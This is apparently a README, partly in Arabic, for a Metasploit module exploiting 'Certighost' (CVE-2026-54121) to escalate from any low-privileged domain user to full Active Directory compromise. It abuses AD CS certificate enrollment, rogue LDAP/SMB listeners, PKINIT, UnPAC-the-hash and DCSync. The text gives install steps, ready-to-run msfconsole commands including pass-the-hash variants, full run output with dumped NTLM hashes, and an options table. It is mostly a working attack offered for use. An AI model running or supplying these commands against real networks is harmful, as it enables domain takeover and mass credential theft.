
A Metasploit auxiliary module that escalates from any low-privileged domain user to full domain compromise by abusing the AD CS enrollment "chase" fallback. The CA can be coerced into authenticating back to attacker-controlled infrastructure and then issuing a certificate that impersonates a Domain Controller.
تم اكتشاف Certighost واستغلاله في الأصل بواسطة h0j3n وAniq Fakhrul. يحتوي هذا المستودع على وحدة Metasploit المساعدة التي تصعّد من أي مستخدم نطاق منخفض الصلاحيات إلى اختراق كامل للنطاق عبر إساءة استخدام آلية «chase» الاحتياطية لتسجيل AD CS. يمكن إكراه المرجع المصدق (CA) على المصادقة عائدة إلى بنية تحتية يتحكم بها المهاجم، ومن ثم إصدار شهادة تنتحل هوية وحدة تحكم بالنطاق (Domain Controller). تُستخدم هذه الشهادة في PKINIT، ويستعيد UnPAC-the-hash تجزئة NT الخاصة بوحدة التحكم بالنطاق، ويتولى DCSync باقي المهمة.
mkdir -p ~/.msf4/modules/auxiliary/admin/dcerpc
cp cve_2026_54121_certighost.rb ~/.msf4/modules/auxiliary/admin/dcerpc/
تحقق من أن الوحدة تُحلَّل وتُحمَّل بشكل صحيح:
ruby -c ~/.msf4/modules/auxiliary/admin/dcerpc/cve_2026_54121_certighost.rb
msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; show options; exit"
المنفذان 389 و445 من المنافذ المميزة (privileged ports)، لذا يجب تشغيل الوحدة بصلاحيات الجذر (root).
سطر واحد من MSF
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION FULL; run"
تشغيل msfconsole
use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set PASSWORD 'Passw0rd!'
set DC_IP 10.0.0.10
set ACTION FULL
run
سطر واحد من MSF
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set NTLM_HASH 69289a87353c7083842956a62652d46c; set DC_IP 10.0.0.10; set ACTION FULL; run"
تشغيل msfconsole
use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set NTLM_HASH 69289a87353c7083842956a62652d46c
set DC_IP 10.0.0.10
set ACTION FULL
run
يقبل NTLM_HASH تجزئة NT مجردة، أو :NT، أو LM:NT. عند تعيين كلٍّ من PASSWORD وNTLM_HASH معًا، تكون التجزئة هي المعتمدة.
مفيدة عندما تريد الحصول على الشهادة لاستخدامها دون اتصال أو لاحقًا:
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION REQUEST_CERT; run"
$ msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN contoso.lab; set USERNAME lowpriv; set PASSWORD Abc123,./; set DC_IP 192.168.10.10; set ACTION FULL; run"
[*] Starting persistent handler(s)...
[*] Setting default action FULL - view all 3 actions with the show actions command
DOMAIN => contoso.lab
USERNAME => lowpriv
PASSWORD => Abc123,./
DC_IP => 192.168.10.10
ACTION => FULL
[*] Certighost (CVE-2026-54121)
[*] Step 1: Discovering infrastructure via LDAP...
[*] Discovering CA...
[+] Found CA: ContosoCert-CA (DC01.contoso.lab)
[*] Discovering target DC...
[+] Target DC: DC01$ (DC01.contoso.lab)
[+] CA: ContosoCert-CA (192.168.10.10)
[+] Target: DC01$
[+] Domain SID: S-1-5-21-2005457936-2008376057-2514283296
[*] Step 2: Creating machine account via SAMR...
[+] Successfully created contoso.lab\GHOSTGQJZBJLO$
[+] Password: CGf0a69633d2Aa1
[+] SID: S-1-5-21-2005457936-2008376057-2514283296-1756
[+] Created: contoso.lab\GHOSTGQJZBJLO$
[*] Step 3: Starting rogue servers...
[*] Listener IP: 192.168.44.128
[+] Rogue LDAP server: 192.168.44.128:389
[+] Rogue SMB server: 192.168.44.128:445
[*] Pre-flighting Netlogon oracle...
[*] Connecting to the endpoint mapper service...
[+] Netlogon oracle ready
[*] Step 4: Requesting certificate via ICertPassage...
[+] Certificate issued!
[+] PFX (loot): /root/.msf4/loot/20260731030034_default_192.168.10.10_windows.ad.cs_287527.pfx
[+] PFX (local): /root/DC01_certighost.pfx
[+] Subject: /CN=DC01.contoso.lab
[+] Issuer: /DC=lab/DC=contoso/CN=ContosoCert-CA
[*] Step 5: Performing PKINIT as DC01$...
[+] PKINIT successful - TGT for [email protected]
[+] ccache saved: /root/DC01.ccache
[*] Extracting NT hash from PAC...
[+] 192.168.10.10:88 - Received a valid TGS-Response
[*] 192.168.10.10:445 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/20260731030034_default_192.168.10.10_mit.kerberos.cca_639932.bin
[+] NT Hash: dc01$:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d
[*] Step 6: Performing DCSync...
[*] Running DCSync as contoso.lab\DC01$ (output shown when complete)...
# NTLM hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72446150d4b9a4dae4f0472fbb01b072:::
contoso.lab\lowpriv:1105:aad3b435b51404eeaad3b435b51404ee:69289a87353c7083842956a62652d46c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d:::
DESKTOP-JSB2FG3$:1106:aad3b435b51404eeaad3b435b51404ee:b7ca2860c012a21801407b5f5c45c453:::
GHOSTQMSEUHWX$:1751:aad3b435b51404eeaad3b435b51404ee:3e5e99d282391e10226f3d40111196ee:::
GHOSTGQJZBJLO$:1756:aad3b435b51404eeaad3b435b51404ee:cbe6ca2d2dffb6069be63ee0700a05cb:::
# Password history (pwdump format - uid:rid:lmhash:nthash:::):
Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
contoso.lab\lowpriv_history0:1105:82e343ae06e69d44033ee76a390286a8:8c3efc486704d2ee71eebe71af14d86c:::
DC01$_history0:1000:aad3b435b51404eeaad3b435b51404ee:3795fa26828ec5e8bf0dc948d2d82bbe:::
DESKTOP-JSB2FG3$_history0:1106:dbfadcdb0dd4f78c286e856dcc5ece74:a175b9f66ecd598f5bcf8185d0e2e322:::
[+] DCSync complete - 26 secret line(s) shown, others suppressed for opsec
[*] (SIDs, full pwdump, account info and kerberos-key sections hidden)
[*] Cleaning up: deleting GHOSTGQJZBJLO$ as Administrator (Administrator hash from DCSync)...
[+] The specified account has been deleted.
[+] Deleted GHOSTGQJZBJLO$
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/cve_2026_54121_certighost) > show options
Module options (auxiliary/admin/dcerpc/cve_2026_54121_certighost):
Name Current Setting Required Description
---- --------------- -------- -----------
ACCOUNT_NAME no The account name
ACCOUNT_PASSWORD no The password for the new account
ADD_CERT_APP_POLICY no Add certificate application policy OIDs
ALT_DNS no Alternative certificate DNS
ALT_SID no Alternative object SID
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
CA_IP no CA IP (auto-discovered if empty)
CA_NAME no CA name (auto-discovered if empty)
CERT_TEMPLATE User yes The certificate template
CLEANUP_ACCOUNT true no Delete the machine account when finished. Needs privileged credentials: the accoun
t's own creator has no DELETE right on it. With ACTION FULL the Administrator hash
recovered by DCSync is used automatically
CLEANUP_HASH no LM:NT or NT hash for CLEANUP_USER (pass-the-hash)
CLEANUP_PASS no Password for CLEANUP_USER
CLEANUP_USER no Account used to delete the machine account (defaults to the Administrator hash rec
overed by DCSync, else USERNAME)
DC_IP yes Domain Controller IP
DOMAIN yes Target domain FQDN (e.g., abc.local)
LDAPDomain no The domain to authenticate to
LDAPPassword no The password to authenticate with
LDAPUsername no The username to authenticate with
LISTENER no Attacker IP for rogue services (auto-detected if empty)
NTLM_HASH no NT hash for USERNAME, for pass-the-hash. Accepts LM:NT, :NT or a bare NT hash
NTLM_VALIDATE true no Validate the CA's NTLM auth via the Netlogon oracle. Set false to blindly accept i
t (no SMB signing) - useful to test whether the CA chase reaches LSA/LDAP at all,
but fails if the CA insists on signing
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
OUTPUT_DIR no Directory for the .pfx and .ccache files (defaults to the current working director
y)
PASSWORD no User password (required unless NTLM_HASH is set)
PFX no Certificate to request on behalf of
RHOSTS no Target host (auto-set from DC_IP)
ROGUE_LDAP_PORT 389 no Port for rogue LDAP server (CA defaults to 389)
ROGUE_SMB_PORT 445 no Port for rogue SMB/LSA server (CA defaults to 445)
RPORT 389 yes The target port (TCP)
SMBDomain no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
SSL false no Enable SSL on the LDAP connection
TARGET_DC no Target DC sAMAccountName to impersonate (auto-discovered if empty)
TEMPLATE Machine yes Certificate template
TIMEOUT 10 no Seconds to wait for rogue servers to receive connections
Timeout 10 yes The TCP timeout to establish Kerberos connection and read data
USERNAME yes Low-privilege domain user
Auxiliary action:
Name Description
---- -----------
FULL Full attack: certificate + PKINIT + DCSync
View the full module info with the info, or info -d command.